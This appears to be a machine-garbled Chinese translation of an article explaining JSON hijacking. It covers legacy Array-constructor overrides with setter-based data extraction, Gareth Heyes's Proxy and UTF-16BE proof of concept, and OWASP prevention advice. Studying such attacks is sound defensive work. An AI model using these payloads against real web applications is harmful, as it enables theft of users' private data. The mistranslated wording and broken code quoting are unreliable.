假如你有在应用程序中查阅过发送给大子公司 API 的允诺,你可能会注意到,JSON 后面会有许多怪异的 JavaScript:
为何她们要用这两个二进制来让 JSON 失灵?
为的是为保护你的统计数据
假如没那些二进制,所以有可能任何人中文网站都能出访那些统计数据。
那个安全漏洞被称作 JSON 挟持:https://lmddgtfy.net/?q=JSON%20hijacking
也是中文网站能从那些 API 中抽取 JSON 数据。
起源地
在 JavaScript 1.5 及更早版中,能全面覆盖原初类别第一类的缺省,并采用括弧初始化全面覆盖的版。
你能这种:
function Array(){ alert(You created an array!); } var x = [1,2,3];这种就会弹出 alert!
采用下列JAVA代替 var x,普通用户就能写作你的邮件!
这是透过在读取内部JAVA以后全面覆盖 Array 缺省来同时实现的。
<script src="https://gmail.com/messages"></script>统计数据抽取
即使你重载了缺省,仍然能透过 this 来出访它。
这是两个代码片段,它将 alert 数组的所有统计数据:
function Array() { var that = this; var index = 0; // Populating the array with setters, which dump the value when called var valueExtractor = function(value) { // Alert the value alert(value); // Set the next index to use this method as well that.__defineSetter__(index.toString(),valueExtractor ); index++; }; // Set the setter for item 0 that.__defineSetter__(index.toString(),valueExtractor ); index++; }在创建数组后,它们的值将被 alert 出来!
ECMAScript 4 提案中已修复了那个问题,我们现在无法再全面覆盖大多数原初类别的原型,例如 Object 和 Array。
尽管 ES4 从未发布,但主要应用程序在发现后很快就修复了那个安全漏洞。
在今天的 JavaScript 中,你仍然能采用类似的行为,但它受限于你创建的变量,或者不采用括弧创建的第一类。
这是以后的两个修订版:
// Making an array const x = []; // Making the overriden methods x.copy = []; const extractor = (v) => { // Keeping the value in a different array x.copy.push(v); // Setting the extractor for the next value const currentIndex = x.copy.length; x.__defineSetter__(currentIndex, extractor); x.__defineGetter__(currentIndex, ()=>x.copy[currentIndex]); // Logging the value console.log(Extracted value, v); }; // Assigning the setter on index 0 x.__defineSetter__(0, extractor); x.__defineGetter__(0, ()=>x.copy[0]); // Using the array as usual x[0] = zero; x[1] = one; console.log(x[0]); console.log(x[1]);这是两个采用 Array 关键字创建数组的版:
function Array(){ console.log(arguments); } Array("secret","values");如你所见,你添加到数组中的统计数据被记录下来,但机能保持不变!
修复方案并没阻止采用 Array 来创建数组,而是在采用括弧创建第一类时强制采用原生同时实现,而不是自定义函数。
这意味着我们仍然能创建两个 Array 函数,但不能与方括弧([1,2,3])一起采用。
假如我们采用 x = new Array(1,2,3) 或 x = Array(1,2,3),它仍将被初始化,但不会给 JSON 挟持留下可趁之机。
新的变体
我们晓得旧版的应用程序很容易受到那个安全漏洞的攻击,所以现在呢?
随着最近 EcmaScript 6 的发布,添加了很多新机能,例如 Proxies!
来自 Portswigger 的 Gareth Heyes 在博客(
https://portswigger.net/blog/json-hijacking-for-the-modern-web)上介绍了那个安全漏洞的新变体,它仍然允许我们从 JSON 端点窃取统计数据!透过采用 Proxies(而不是 Accessor),我们能窃取到任意创建的变量,无论它的名称是什么。
它能像 Accessor 一样,但能出访任意可出访或写入属性。
采用那个和另外两个技巧,就能再次窃取统计数据!
UTF-16BE 是两个多二进制字符集,两个字符由两个二进制组成。例如,假如你的JAVA以 [“做为结尾,它将被视为字符 0x5b22 而不是 0x5b 0x22。0x5b22 恰好是两个有效的 JavaScript 变量 =)。采用那个JAVA:
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>透过采用那个JAVA中的许多受控统计数据和移位JAVA,我们就能再次渗透统计数据!
这是 Gareth 最后的 POC,摘自他的博文:
<!doctype HTML> <script> Object.setPrototypeOf(__proto__,new Proxy(__proto__,{ has:function(target,name){ alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); })); } })); </script> <script charset="UTF-16BE" src="external-script-with-array-literal"></script> <!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->我不会深入解释那个方法,而是建议你写作他的帖子,以获取更多信息。
预防
下列是 OWASP 的官方建议:
https://www.owasp.org/index.php/AJAX_Security_Cheat_Sheet#Always_return_JSON_with_an_Object_on_the_outside
采用 CSRF 为保护,假如不存在安全标头或 csrf 令牌,就不返回统计数据,以防止被利用。始终将 JSON 做为第一类返回。最后的解决方案很有趣。
在 Firefox 和 IE 中,那个是有效的:
x = [{"key":"value"}] x = {"key":"value"} [{"key":"value"}] {key: "value"}但这种不行:
{"key":"value"}它之所以无效是因为 Firefox 和 IE 认为括弧是块语句的结尾,而不是创建第一类。
没引号的符号{key:“value”}被视为标签,值被视为两个语句。
结论
虽然那些东西在今天可能是无效的,但我们永远不会晓得明天将会带来什么新的错误,因此我们仍应尽力阻止 API 被利用。
假如我们把那个 StackOverflow 答案视为理所当然,我们就很容易受到现代变体的影响,因此仍然可能被黑客入侵。
谷歌和 Facebook 在 JSON 统计数据以后添加无效的 JavaScript 或无限循环式,OWASP 也列出了其他替代方案。
作者:Antony Garand
来源:前端之巅